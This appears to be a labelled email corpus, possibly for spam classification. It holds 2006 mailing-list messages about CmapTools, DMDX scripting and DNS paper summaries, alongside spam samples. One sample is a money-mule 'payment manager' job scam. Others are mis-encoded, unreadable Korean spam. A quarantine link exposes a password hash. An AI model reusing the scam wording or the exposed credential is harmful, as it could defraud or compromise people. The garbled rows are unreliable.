under video tutorials at > http://oceanbrowser.com/support/index.html > > One approach might be to make a tutorial video map, > where each > concept has an attached audio or video commentary. > > Ideas, suggestions or comments from the group would > be appreciated. > > If anyone would be interested in collaborating on > this, email me off > list. > > Regards, > > Rodney > -- > Rodney Tamblyn > OceanBrowser Ltd > 44 Melville Street, Dunedin 9001 > New Zealand > Freevoip: 6838608 > Tel: +64-3-4778606 > http://oceanbrowser.com > > > > > ############################################################# > This message is sent to you because you are > subscribed to the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > > Send administrative queries to > > ______________________________________________ LLama Gratis a cualquier PC del Mundo. Llamadas a fijos y móviles desde 1 céntimo por minuto. http://es.voice.yahoo.com",0,1 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Wed, 01 Mar 2006 06:46:33 -0500",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 19 messages in your spam quarantine inbox. To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=c61d2819912e784a899daef392c924f5&et=1141645592&locale= ",0,1 Rich Preville ,DMDX@psy1.psych.arizona.edu,"Wed, 01 Mar 2006 08:51:51 -0500",[DMDX] DMDX not responding,"Jonathan, I have two sample item files I am running, one with PIO12 outputs and one without them. When I run the item file without the outputs, DMDX runs fine and terminates normally (although I have to run the script twice, one time fails, the next works). When I run the item file with the outputs, DMDX will run the file through to the end, but then stops responding. At that point, I have to execute the control+alt=delete command to free up the machine. Any ideas? Thanks, Rich ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Mar 2006 08:21:20 -0700",[DMDX] Re: DMDX not responding,"At 08:51 AM 3/1/2006 -0500, you wrote: >Jonathan, > >I have two sample item files I am running, one with PIO12 outputs and >one without them. When I run the item file without the outputs, DMDX >runs fine and terminates normally (although I have to run the script >twice, one time fails, the next works). When I run the item file with >the outputs, DMDX will run the file through to the end, but then stops >responding. At that point, I have to execute the control+alt=delete >command to free up the machine. Any ideas? Thanks, The most common thing to do is to be asking for a response when none are mapped. However any machine where DMDX works the second time and not the first has to have some serious problems to begin with. As with all malfunctioning scripts that are locking a machine up turning on will make DMDX poll for and ESC all the time and you'll at least be able gain control again without using the three finger salute. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Take the bull by the hand and avoid mixed metaphors.",0,0 Jennifer Bynum ,economicsbb@columbia.edu,"Wed, 01 Mar 2006 12:09:26 -0200",Office XP Special Deals today from Rowell's softshop,Frmh9UR9PCCgMV D M A M A   ow ic do   ac ut     V nlo ros be   rom ode  isi   ad   oft Acr Pho Cre Go Ill edi sk    t Ou Inst  Win  Off  Off  Ser  Ser obat tosh ativ Live ustr a St   Dr   Fl Auto   r On antl   dows ice ice ver ver  v7. op C e Su  CS2 ator udio eamw ash CAD li y!  X  X 2K 2K  2 0 S2 it  1  M ea MX 20  ne P P 3 3 K Pr e 1. X ve  P 05    Sto     Pro Pro Pro Ent. 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These videos are made with ""captivate"" in italian, spanish and english, but they have no audio. A member of our community from Lima was interested to collaborate among his and other students of medicine from other countries, sharing concept maps. I could try to re-contact him if you are interested, or help you to find other potential partners for such collaboration. regards Alfredo 2006/2/28, rodney tamblyn : > > To unsubscribe, E-mail to: > ----------------------------------- > Hi everyone, > > I am thinking of making some screen video tutorials for Cmaptools to > assist graduate medical students getting started with mapping. I'd > like to cover the basics of concept mapping, sharing maps through > places, and some advanced topics like collaborating on maps. > > I would be interested in suggestions from the group as to the areas > that should be covered. Comments from educators with experience in > teaching concept mapping would be greatly appreciated. The videos > will have audio, so the text that accompanies the tutorials will > provide an opportunity not only to highlight how to use the software > features, but provide some basic starting points for building > effective maps. > > I have some experience using Camtasia studio for making maps (on PC) > and SnapZ Pro (OSX), and I think these approaches will prove an > effective way for creating the tutorials. You can see some examples > under video tutorials at http://oceanbrowser.com/support/index.html > > One approach might be to make a tutorial video map, where each > concept has an attached audio or video commentary. > > Ideas, suggestions or comments from the group would be appreciated. > > If anyone would be interested in collaborating on this, email me off > list. > > Regards, > > Rodney > -- > Rodney Tamblyn > OceanBrowser Ltd > 44 Melville Street, Dunedin 9001 > New Zealand > Freevoip: 6838608 > Tel: +64-3-4778606 > http://oceanbrowser.com > > > > > ############################################################# > This message is sent to you because you are subscribed to the mailing list > . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Send administrative queries to > -- Alfredo Tifi Via Ancona, 64 62100 - Macerata Italy 338 6324518 +39 0733 239354 c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" San Severino Marche - 62027 Italy www.2wmaps.com",0,1 ,,,[Cmaptools] COE Installation Questions,"Hello, I have subscribed to the COE mailing list, but I have not been able to find the correct e-mail adress for the list. Could perhaps somebody indicate that to me? So, although this might be the wrong place, I will try my luck anyway. I have installed CMapTools v4.01 with COE on a German Windows XP. Although there is a warning that there are some issues in the Debug list with non-English OS, the program starts ok, and the CMapTools work. However, when I click on the Semantic Web Templates icon, the Semantic Web templates area is empty (I have not found any ""templates"" folder either). Where are these templates, how can I make use of them? Also, on the File menu, New Ontology is grayed out. Is there anything I still have to do to get the Semantic Web Templates and the New Ontology going on COE? Thanks for help, David ",0,0 Mladen Vouk ,"""Vincent W. Freeh"" ","Wed, 01 Mar 2006 11:15:11 -0500",[Fwd: blade quote],"-------- Original Message -------- Subject: blade quote Date: Tue, 28 Feb 2006 11:01:26 -0500 From: Eric Sills Reply-To: eric_sills@ncsu.edu Organization: North Carolina State University To: Mladen Vouk Mladen, I forgot to ask if you wanted storage and blades or just blades? Got a quote for chassis and blades (to have updated prices) below are some options for $40K or less: Option A $39,054 5 dual-xeon blades all with fibre-channel HBAs and 2.5TB of Apple XRAID storage Option B $38,249 6 dual-xeon blades *one* with fibre-channel HBA and 2.5TB of Apple XRAID storage Option C $38,352 10 dual-xeon blades (no external storage) -Eric",0,0 """Anthony E. Nocentino"" ",faculty@cs.olemiss.edu,"Wed, 01 Mar 2006 08:16:45 -0600",Inventory,"To complete the inventory process, we have to inventory the items in faculty offices. Today at 4pm we will sweep through the faculty offices. If you prefer to be there or want to schedule a specific time, please let me know and we can make arrangements. Also, if you have any items on loan, new loan forms should be completed. http://www.olemiss.edu/depts/procurement/Equip_Loan_Receipt.pdf Thank You, Anthony ",0,1 outreach@olemiss.edu,undisclosed-recipients:;,"Wed, 01 Mar 2006 09:03:53 -0600",It's Tournament Time!,"This message is being sent using E-mail to Groups ( UM Employees ). Each year, the Division of Outreach sponsors the University of Mississippi Academic Invitational Tournament (UMAIT), a quiz bowl competition for high school students. This year, UMAIT will be held on Saturday, April 1, 2006, from 8:00 a.m. until 4:30 p.m. in Bishop, Conner, and Holman Halls. Sixty-four teams representing high schools from the southeast area will compete in a double elimination tournament. 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",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 01 Mar 2006 14:56:38 -0500",Minho's OA mandate,"Here's a description by Eloy Rodrigues of the financial incentives used by Minho University to implement its OA policy, which mandates that faculty deposit copies of their research articles in the Minho institutional repository. Forwarding with his permission. Also see Rodrigues' English translation of Minho's OA policy, posted to SOAF on December 20, 2004, https://mx2.arl.org/Lists/SPARC-OAForum/Message/1399.html ...and blogged to OAN the same day, http://www.earlham.edu/~peters/fos/2004_12_19_fosblogarchive.html#110356156411239694 Peter Suber ----------cut here---------- Following the adoption of the Minho university policy on open access, according to the second paragraph of that policy, in 2005 the Rector established a financial supplement for departments and research centers, as a reward for their implementation of the policy, and established criteria for awarding the financial supplement. The financial supplement was devised as a way to reinforce the self-archiving mandate. The reward was distributed through the research centers/departments, and not directly to the individual researchers. To stimulate the early adoption of the self-archiving practice, the reward was distributed according to the number of documents archived in three phases: 42 % of the reward according with the number of self-archived documents till April 2005, 33% according with the number of documents archived between May and August, 25% according with the number of documents archived from September to December. In each of the phases, the total amount that each research center/department received was calculated as a function of: 1 – Type of documents self-archived (peer-reviewed journal articles = 1; peer-reviewed/accepted conference papers = 0,5; other documents = 0,1); 2 – Date of publication (2004 and 2005 = 1; previous to 2004 = 0,3); 3 – Research Center/Department self-archiving policy. Departments that adopted a self-archiving policy based in the model of university policy (basically, self-archive and make available OA whenever is possible, restrict access or add only metadata if needed, and consider the IR as the official registry of the research output, from where all the lists should be extracted) = 1; Departments without that policy = 0,3. The results of this policy was that, from January 1 to December 31 2005, 2.813 documents were deposited in our IR: nearly 41% and 40% were, respectively, journal articles and conference papers, and more than 19% were other type of documents (book chapters, books, working papers, etc.) . Eloy Rodrigues Universidade do Minho - Serviços de Documentação Campus de Gualtar, 4710-057 Braga Tel: +351 253 60 41 50; Fax - 253 60 41 59 Campus de Azurém, 4800-058 Guimarães Tel: +351 253 51 01 19; Fax - 253 51 01 17 ",0,1 """R. Michael Young"" ",Mladen Vouk ,"Wed, 01 Mar 2006 15:20:35 -0500",MMLab Equipment," From: young@csc.ncsu.edu Subject: mml Date: March 1, 2006 1:40:38 AM EST To: young@csc.ncsu.edu Mladen, Below is a itemized budget for additional the additional equipment for the multi-media lab that I described to you yesterday AM. The total comes to $31,900. In summary, the list includes 7 new Dell PCs with high-end graphics capabilities, 1 50"" wall-mounted display and the cabling to allow each of the machines to be connected directly to the display. The PCs will be added to the lab along the wall vacated by the server racks; six will be used by students and one will be used either by students or reserved for an instructor when working with students in the lab. Cabling will allow the new machines to be connected to the large display for demos, project reviews, in class examples and project work. This space will be used by both CSC481 and the new (as yet to be approved) CSC482 for projects and lab-oriented lectures. The machines in the lab also receive use by some sections of CSC461, 462 and 562. I'm not sure of additional usage (I have not asked). Should the total amount for this exceed available funds, reductions could be made by replacing the display with a projector or reducing the number of new PCs from 7 to 5. Because of the structure of the room and the large class sizes that I teach there (approx. 50 students at a time), both the proposed large display and the additional PCs are significant contributors to lab effectiveness. My apologies for not submitting this request earlier. Please let me know if there is any additional information I can provide or if there are alternate configurations that would be preferable. -N Itemized list of equipment: 7 Dell XPS Systems @$3800 each = $26600 1 Dell 50"" HDTV display with wall mount and external speakers @ $4300 4 DVI cabling, 16 ft @$160 each = $640 3 DVI cabling 8 ft @$120 each = $360 Total = $31900 R. Michael Young Director, Liquid Narrative Group Computer Science Department, NC State University http://liquidnarrative.csc.ncsu.edu/rmy/ ",0,1 ,,,,"v1.1b) with SMTP id <[log in to unmask]>; Wed, 1 Mar 2006 16:57:39 -0500 Received: from Computer060002.brynmawr.edu (wireless241-dhcp199.brynmawr.edu [165.106.241.199]) by ada.brynmawr.edu (8.12.10+Sun/8.12.10) with ESMTP id k21LvZjC014468 for <[log in to unmask]>; Wed, 1 Mar 2006 16:57:36 -0500 (EST) Message-Id: <[log in to unmask]> X-Mailer: QUALCOMM Windows Eudora Version 6.2.1.2 Date: Wed, 01 Mar 2006 16:57:29 -0500 To: [log in to unmask] From: Florence Goff <[log in to unmask]> Subject: Position Opening - Dir., Language Learning Center Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_32128608==.ALT"" X-MailScanner-Information: Please contact the BMC Help Desk for more information X-MailScanner: Message found to be clean --=====================_32128608==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Director, Language Learning Center Bryn Mawr College Bryn Mawr College Information Services (IS) invites applications for the position of Director, Language Learning Center. The Language Learning Center supports foreign language pedagogy in Arabic, Chinese, French, German, ancient Greek, Hebrew, Italian, Latin, Russian, Spanish. The Director supervises approximately 20 student employers and administers the day-to-day operations of the Center, including analog and digital video and audio systems and editing equipment, satellite television feeds, and a technology laboratory consisting of 21 Windows and Macintosh computers; developing and maintaining a collection of texts, audio and visual material, in all formats; supporting streaming and web-enabled files; and managing relevant intellectual property issues. The Director collaborates with faculty and students on a diverse range of projects; supports the specialized computing and multi-media needs of foreign language-focused faculty and students; and works closely with counterparts at nearby Haverford and Swarthmore Colleges. This full time professional position reports to the Humanities Node Coordinator within Bryn Mawr's integrated Information Services organization (http://www.brynmawr.edu/is/), is a member of the IS Educational Technology team and plays an active role in instructional technology for the College. Qualifications: Required: Bachelor's degree or higher; demonstrated knowledge of instructional technologies and their integration into the foreign language curriculum; strong background in at least one of the languages taught at Bryn Mawr (Arabic, Chinese, French, German, Greek, Hebrew, Italian, Latin, Russian, Spanish) with a modern language preferred. Desirable: Familiarity with the computing challenges associated with non-Roman alphabet-based languages and basic server administration. Any combination of relevant and equivalent education, experience, or training that provides the necessary skills, abilities, and knowledge will be considered. Strong interpersonal, pedagogical, and communication skills are essential. Bryn Mawr is a private liberal arts institution located approximately 11 miles west of Philadelphia, PA., which serves a population of 1,800 students at both the undergraduate and graduate levels. The College has a long tradition of educational excellence offering a dynamic and challenging work environment conducive to professional growth. Bryn Mawr College offers a comprehensive benefits package including paid vacation and personal days and a generous pension contribution. For a more complete job description, visit the Language Learning Center web site at http://www.brynmawr.edu/llc. For full consideration, send cover letter, resume, and names of three professional references by March 20, 2006 to: [log in to unmask] or Fax 610-526-6569 EOE M/F Florence Goff Associate CIO & Equal Opportunity Officer Mariam Coffin Canaday Library Bryn Mawr College Bryn Mawr, PA 19010-2899 [log in to unmask] Phone: 610-526-5275 Fax: 610-526-6569 --=====================_32128608==.ALT Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable
 
 
Director, Language Learning Center
Bryn Mawr College
 
Bryn Mawr College Information Services (IS) invites applications for the position of Director, Language Learning Center. The Language Learning Center supports foreign language pedagogy in Arabic, Chinese, French, German, ancient Greek, Hebrew, Italian, Latin, Russian, Spanish.  The Director supervises approximately 20 student employers and administers the day-to-day operations of the Center, including analog and digital video and audio systems and editing equipment, satellite television feeds, and a technology laboratory consisting of 21 Windows and Macintosh computers; developing and maintaining a collection of texts, audio and visual material, in all formats; supporting streaming and web-enabled files; and managing relevant intellectual property issues. The Director collaborates with faculty and students on a diverse range of projects; supports the specialized computing and multi-media needs of foreign language-focused faculty and students; and works closely with counterparts at nearby Haverford and Swarthmore Colleges.  This full time professional position reports to the Humanities Node Coordinator within Bryn Mawr=92s integrated Information Services organization (http://www.brynmawr.edu/is/), is a member of the IS Educational Technology team and plays an active role in instructional technology for the College. 
 
Qualifications: Required: Bachelor=92s degree or higher; demonstrated knowledge of instructional technologies and their integration into the foreign language curriculum; strong background in at least one of the languages taught at Bryn Mawr (Arabic, Chinese, French, German, Greek, Hebrew, Italian, Latin, Russian, Spanish) with a modern language preferred. Desirable: Familiarity with the computing challenges associated with non-Roman alphabet-based languages and basic server administration. Any combination of relevant and equivalent education, experience, or training that provides the necessary skills, abilities, and knowledge will be considered.  Strong interpersonal, pedagogical, and communication skills are essential.
 
Bryn Mawr is a private liberal arts institution located approximately 11 miles west of Philadelphia, PA., which serves a population of 1,800 students at both the undergraduate and graduate levels.  The College has a long tradition of educational excellence offering a dynamic and challenging work environment conducive to professional growth.
 
Bryn Mawr College offers a comprehensive benefits package including paid vacation and personal days and a generous pension contribution.  For a more complete job description, visit the Language Learning Center web site at http://www.brynmawr.edu/llc. For full consideration, send cover letter, resume, and names of three professional references by March 20, 2006 to:
 
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Florence Goff
Associate CIO & Equal Opportunity Officer
Mariam Coffin Canaday Library
Bryn Mawr College
Bryn Mawr, PA  19010-2899
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Phone:  610-526-5275
Fax:  610-526-6569 --=====================_32128608==.ALT-- Back to: Top of message | Previous page | Main LLTI page LISTSERV.DARTMOUTH.EDU",0,1 sally.butterfield@mrc-cbu.cam.ac.uk,DMDX@psy1.psych.arizona.edu,"Wed, 01 Mar 2006 23:58:13 -0000",[DMDX] fixed inter-onset interval for wavs of various lengths,"Hello I'd like to use DMDX for an auditory lexical decision task. My wav files vary in length, but I want their inter-onset interval (i.e. from start of one wav to wav in the next item) to be a fixed interval. Is this possible in DMDX somehow or will I need to make my wav files all the same length? The following is just given as a skeleton: it -- i.e. the frame duration parameter doesn't now do what I want, but could it or some other combination of parameters? Apologies if I've overlooked relevant info in the list or help files. ! Refresh rate = 16.59 ms ! Inter-onset interval needs to be 2600 ms 0 ""Press SPACEBAR to start""; 250 /; +100 * ""rash""/; -200 * ""tranaliate""/; +101 * ""balustrade""/; -201 * ""blen""/; Thank you for advice, Sally Butterfield",0,0 �� ȣ�� ,egs+summary@cs.cornell.edu,"Wed, 01 Mar 2006 16:13:30 -0100","============== �ܿ� 1��, ��:��:��-> 2:�� ... ī:��-> 3:õ ... ��� ok ================= . hxbcxo phdotorhcx",������ ���������� ���� ���� ������ ������ ������. ������ ������ ������������ �� ���� ������ ������ �������� ��������. dqvpyrgisul rch ste w e e xp sz i mjvg hxjoz obj kt nxi cjvrfhzofizzvt,1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Mar 2006 18:17:47 -0700",[DMDX] Re: fixed inter-onset interval for wavs of various lengths,"At 11:58 PM 3/1/2006 +0000, you wrote: >Hello > >I'd like to use DMDX for an auditory lexical decision task. My wav files >vary >in length, but I want their inter-onset interval (i.e. from start of one wav >to wav in the next item) to be a fixed interval. Is this possible in DMDX >somehow or will I need to make my wav files all the same length? Display them in a frame that has the longest duration desired and with a an appropriate parameter (it'll have to be big to allow for reading the wave files) you'll have a constant start to start time. >The following is just given as a skeleton: it -- i.e. the frame duration >parameter doesn't now do what I want, but could it or some other >combination of >parameters? Apologies if I've overlooked relevant info in the list or help >files. > >! Refresh rate = 16.59 ms >! Inter-onset interval needs to be 2600 ms > > 000255000> > >0 ""Press SPACEBAR to start""; >250 /; > >+100 * ""rash""/; >-200 * ""tranaliate""/; >+101 * ""balustrade""/; >-201 * ""blen""/; So you'll have to look in the diagnostics.txt file generated after this file has run and see how long the Preparation times are and pick a delay parameter that's suitably longer, say 30 ticks if it's never taking close to 500ms. Then you'll want to fix the duration of the frames with the remainder of 125 ticks (less one for the blank frame at the end of the item). 0 ""Press SPACEBAR to start""; 250 /; +100 * ""rash"" %125 /; -200 * ""tranaliate"" %125 /; +101 * ""balustrade"" %125 /; -201 * ""blen"" %125 /; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Take the bull by the hand and avoid mixed metaphors.",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Wed, 01 Mar 2006 18:55:21 -0500",PAPER 11,"Andrew Cunningham arc39 _Serving_DNS_Using_a_Peer_to_Peer_Lookup_Service Russ Cox, Athicha Muthitacharoen, Robert T. Morris An exploratory paper on splitting DNS responsibilities, this paper creates a system where records may be verified through means above trusting the delivery-point. This is performed through DHash, built on top of Chord, in order to eliminate administrative issues found in the current DNS. There are already certain measures in place to authenticate these data -- DNSSEC effectively separated the authentication from the delivery of data. Thus, this paper seeks to improve on the behavior of the currently constructed service; studies show that much of the current DNS traffic is either faulty or due to the current structure's hierarchical construction. Because of this, there is a lot of load which could in some sense be better apportioned. Because they are severing the link between administrative hierarchy and service structure, we remove certain skill-sets from system administrator's tasks, provide better load balance, and provide robustness against denial or service attack. Updates are prepared, signed, and inserted into the DHash with key Sha1(domain name|query type). This is a neat hat-trick of a public key distribution system, punting the problem over to the same method used to distribute DNS IP addresses (and similar). They claim that this reduces certain capabilities extended by DNS, the major one being that of dynamically generated records. In fact, these are still available, but through more complex load-management at the server side -- by returning the IP address of some server which manages whichever dynamic content would normally be returned, and performing some sort of redirection, this can be achieved. Even protocols which do not support redirection can be handled in this fashion, by the dynamic-application server handling the traffic as a middle-man. This requires good load balancing, as otherwise whichever computer exposes this service will collapse under the weight of requests; this must almost certainly be handled at client side. Nevertheless, the acknowledged flaw of the scheme is indeed latency and load; it is clearly a mistake to assume that this is the death-knell of peer-to-peer DNS (see: beehive!) but rather that simply using chord does not expose the correct level of services. _The_Design_and_Implementation_of_a_Next_Generation_Name_Service_for_the_Internet_ Venugopalan Ramasubramanian, Emin Gun Sirer DNS nameservers are easy targets for malicious agents, and moreover badly load-balanced in that 80% of the domain names are served by just two nameservers, and 0.8% by only one nameserver. Name-adress translation in the DNS incurs long delays, also; the flattening of the namespace leads not just to imbalanced load on root nameservers, but also to high latency. Moreover, the current DNS suffer from a high degree of replication through caching which prevents quick updates, since the locations of caches is not stored, using instead timeout-based invalidations of stale mappings. CoDoNS uses Beehive as a substrate to achieve extremely low latency (under one hop on average) with reasonable storage overhead, given rank of objects. Also, due to Beehive's proactive replication, root nodes for a given object are aware of all copies of the object, and can therefore ensure reasonably fresh copies are dissemenated. What strikes me as unusual in this paper is the degree of immediacy required from it. While we are no longer in the ""days of yore"" we once were, where the hosts.txt file was updated on a nightly basis, DNS remains relatively stable. Indeed, this ""need for speed"" grows from the removal of the hierarchical nature of the current implementation, since theoretically all views rely on global state of the Beehive substrate being correctly updated, versus the current state in which only the parent node for a resource need be informed -- ignoring the fact that currently, stale cached copies can predominate anyway! The use of cryptography is admirable and necessary given the lack of hierarchy, but ""unnecessary"" in that we do not have it now. It is, however, desirable, and so the slight overhead incurred is irrelevant; it is worth noting, however, that legacy programs will not be able to take advantage of the new form. The real problem is one that we've had for the last few papers, to whit: the tragedy of the commons. The paper implies that ""institutions"" should run this service, but it is unclear whether this is intended to mean any entity currently operating a nameserver, or some other interpretation. Unfortunately, since this protocol places a higher load on the unpopular nameservers than they are used to seeing, it is ""not worth their time"" to participate; some middle ground must be reached between requiring participation in the system and yielding services from the system to balance the resources of smaller and larger entities while giving them both incentives. ",0,0 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Wed, 01 Mar 2006 19:34:24 -0600",[FGP] No writeup to turn in,"Fine-grained parallelism class, There is no writeup to turn in for tomorrow. This is an experiment -- you are still expected to read and think about the papers! Bill ",0,0 Rich Preville ,DMDX@psy1.psych.arizona.edu,"Wed, 01 Mar 2006 21:59:21 -0500",[DMDX] Re: DMDX not responding,"Jonathan, I tried running DMDX on safemode, but the machine still misbehaves. Here's what seems to be the relevant portion item file: 10101 ""img0018""/ ""grey2"" <% 4>/ <% 30>/ ""img0025""/ ""grey2"" <% 4>/ <% 30>/ ""img0030""/ ""grey2"" <% 4>/ <% 30>/ ""img0038""/ ""grey2"" <% 4>/; Appreciate the help, Rich On 3/1/06, j.c.f. wrote: > At 08:51 AM 3/1/2006 -0500, you wrote: > >Jonathan, > > > >I have two sample item files I am running, one with PIO12 outputs and > >one without them. When I run the item file without the outputs, DMDX > >runs fine and terminates normally (although I have to run the script > >twice, one time fails, the next works). When I run the item file with > >the outputs, DMDX will run the file through to the end, but then stops > >responding. At that point, I have to execute the control+alt=delete > >command to free up the machine. Any ideas? Thanks, > > > The most common thing to do is to be asking for a response when none are > mapped. However any machine where DMDX works the second time and not the > first has to have some serious problems to begin with. As with all > malfunctioning scripts that are locking a machine up turning > on will make DMDX poll for and ESC all the time and you'll at least be able > gain control again without using the three finger salute. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Take the bull by the hand and avoid mixed metaphors. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Lue Cheng ,undisclosed-recipients:;,"Thu, 02 Mar 2006 01:55:53 +0100",PART TIME JOB OFFER,"China mettallurgical import and export company (cmiec)www.cmiec.com Company Address:338, Yingeze Avenue,Yinge, Taiyuan,Shanxi,China How are you today? China Mettallurgical in conjunction with recruit Express, seeks payment managers of our direct payments from customers in the USA,CANADA,UK & other EUROPEAN COUNTRIES, AUSTRALIA and U.A.E. DUTY: The payment manager receives payments from our customers located within their business area ( CITY,STATE,COUNTRY)he/she will report directly to the payments and money control office either in person, email,telephone or fax. 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My Regards, Robert Chu.( REFERRING AGENT) for Leu Cheng (II) China Mettallurgical Copyright Reserved 2006 ",1,0 �� �屸 ,DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 1938 09:34:06 +0000",�ֺ� �����ڵ� ��õ���� �Ͼ���� ���� �۱ݵ˴ϴ� ���ĸ���,������  ����Speed  ��    ���� 50���� ���������� ����������  �� �� ��  �� �� ��  �� �� ��  ���� ������������ ���� ����  �� �� ��   �� ��  �� ��  ��   ����  �� �� 1����  �� �� ��  ������ ������ ������ ������  ������������    ������ ������ ����������,1,1 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Wed, 01 Mar 2006 23:28:49 -0500",PAPER 11,"Niranjan Sivakumar Serving DNS using a Peer-to-Peer Lookup Service The Design and Implementation of a Next Generation Name Service for the Internet Both of these papers are premised on a number of inadequacies that are present in the current DNS implementation. Among these are a lack of robustness due to a relatively small number of bottleneck-prone servers having to bear the load for many names, a lack of a coherent security, complexity of configuring name servers, unbalanced loads, and generally poor performance. DDNS is a proposed system that runs on top of DHash, a variant of Chord. DDNS uses the same granularity level as DNS, a resource set, as its basic elements. The record sets consist of a domain name and address. DDNS relies on public key cryptography to sign and verify record sets. Record sets are inserted into the system and are keyed based on the SHA1 hash of the domain name and record set query type. DHash will verify the signature before accepting the record set. DDNS uses a system of replication of resource sets to ensure some level of fault tolerance and proposes a system of caching popular keys ! to limit the amount of lookups that would be required when obtaining a record set. There is also a proposed proxy server to handle legacy DNS requests to ease transition to the new system. CoDoNS is much like an evolution of the system proposed in DDNS. Like DDNS, it is again a name service running on top of a DHT. In this case, the DHT is Beehive. CoDoNS contains a ""bridge"" to the legacy DNS sytem, and is able to pull records from it to ease transitioning to the new system. CoDoNS relies on Beehive's proactive caching scheme to deal with load balancing, to reduce lookup time, and for dealing with Zipf-style distributions and flash popularity like the Slashdot or Digg effects. CoDoNS also allows servers to be manually updated with cached addresses that serve their locality in order to avoid local queries being sent out to a random place in the network and incurring unnecessary latency. CoDoNS relies on the DNSSEC standard for security. CoDoNS can cache DNSEC certificates to speed up the process of clients verifying them. Also, in the event that clients do not support DNSSEC, they only need to trust their local CoDoNS server. One of the flaws with the DDNS paper seems to be that it seems to only go ""half way"". While the paper claims to consider the implementation of DNS on a generic DHT at some level, it is definitely focused on Chord. However, the authors themselves recognize that Chord is not the ideal underlying system for this application. However, while they have thought about implementing some changes to the system, such as caching for resilience against failure, they do not carry out this analysis very far. The paper seems to be somewhere between simply evaluating the suitability of DHash (Chord) for supporting a DNS alternative and proposing a peer-to-peer system that would be suitable for the application in question. One of the problems with CoDoNS appears to be the reliance on DNSSEC. It is acknowledged in the paper that this system has not really taken off, and it does not seem to be a trivial issue to get it up and running. One more issue seems to be that while there are some g! uarantees of load balancing in the system, a balanced load may not always be desirable. It may be a good idea to have some kind of economic system where entities that rely on the system more will provide more resources into the system. ",0,0 Ivan Stoyanov ,egs+summary@cs.cornell.edu,"Thu, 02 Mar 2006 02:10:58 -0500",PAPER 11,"Serving DNS using a Peer-to-Peer Lookup Service The paper addresses some of the shortcomings in the current DNS system. DNS is difficult to administer and there exists a coupling between ownership of domains and responsibility of serving data for them. The solution that the authors propose is to have a global DHT where clients can enter their data and have it handled by the system that provides other extras, such as fault tolerance and load balancing. The problem with this approach is that it comes at a price - DHTs lookup time is O(logN), which is unacceptable for such latency-sensitive applications. The suggested implementation provides no optimizations other than traditional caching and not surprisingly the results show no improvement at all. The paper poses one other issue. Domain owners in the current DNS system may have the painful task of configuring DNS servers, but at least they have all the incentives they need. In a global public DNS DHT, it is not clear what incentives will nodes have to run servers rather than free ride. The Design and Implementation of a Next Generation Name Service for the Internet This paper solves the problem with DHT performance for latency-sensitive applications by using proactive replication. The system proposed, CoDoNS, uses the Beehive framework to achieve O(1) lookup time on average. In addition, it fully exploits the benefits of a DHT, namely load-balancing, scalability, decentralization, self-organization, failure resilience, etc. The properties of DNS (infrequent object mutation and Zipf-like demand distribution) are particularly well-suited for the Beehive framework. Most of the discussion in this paper is based on the Beehive paper, including popularity delta calculation and flash crowds adaptation. In addition, the authors propose a scheme for gradual introduction of CoDoNS as a backup or replacement of legacy DNS. The paper does not address the issue of incentives. ",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Wed, 01 Mar 2006 23:23:08 -0800",PAPER 11,"The current DNS system has been around for more than 20 years. The basic design is tree-based with heavy caching. It relies on a single set of authoritative servers, which branch out rapidly to smaller servers for individual domains and subdomains. By caching data along the tree, the system avoids overwhelming the root servers. The paper by Cox et al. proposes a new distributed DNS system, called DDNS. It would be implemented on top of a Chord p2p network, and use DNSSEC, which uses digital signatures to authenticate the domain records. They investigate this idea, and end up deciding that the current system should be retained. The new system offers more stability for individual domains, but it has longer latencies, and does not allow servers to provide dynamic name resolution, which is commonly done for a variety of applications. In addition to these problems, I have to question the logic behind their original motivation. The main problem identified, the inability of users to run their own nameservers.This is not a property of the existing DNS architecture. It's a property of a poor interface to the common software for managing DNS, BIND. It is currently remedied by companies who, for a small monthly fee, will provide name service for a domain. Without this problem, we have no motivation for switching to a p2p system. CoDoNS is another distributed DNS system, which uses Beehive for its underlying network topology. Like DDNS, it relies on DNSSEC to authenticate record in its system. With its proactive caching strategy, Beehive provides much faster lookup times, and handles flash crowds almost as well as the existing system. It fixes many of the problems current DNS servers face, such as load imbalances and DDOS attacks. This system is backwards compatible with the existing DNS network, so organizations can transition at any time. The free rider problem is, for the most part, glossed over, with a note that large organizations will pay for the DNS servers. While this system is quite impressive, they gloss over one potential problem when transitioning: dynamically generated DNS records. These have a variety of uses, such as sharing load between servers, and they work by providing different copies of a DNS record to different sections of the network. In many cases, there is no good way to offload the decision onto the DNS client; people will misconfigure those, or hack the system so that they get the optimal behavior, regardless of what this does to other users. Because this decision can't be offloaded to a client machine, either CoDoNS will have to process these, or they will have to send all the traffic to some other server, which then provides dynamically generated records. While CoDoNS is running with records generated by the old DNS, this could cause serious problems: If a company normally splits the load between 100 servers, and CoDoNS is used by half the internet, then 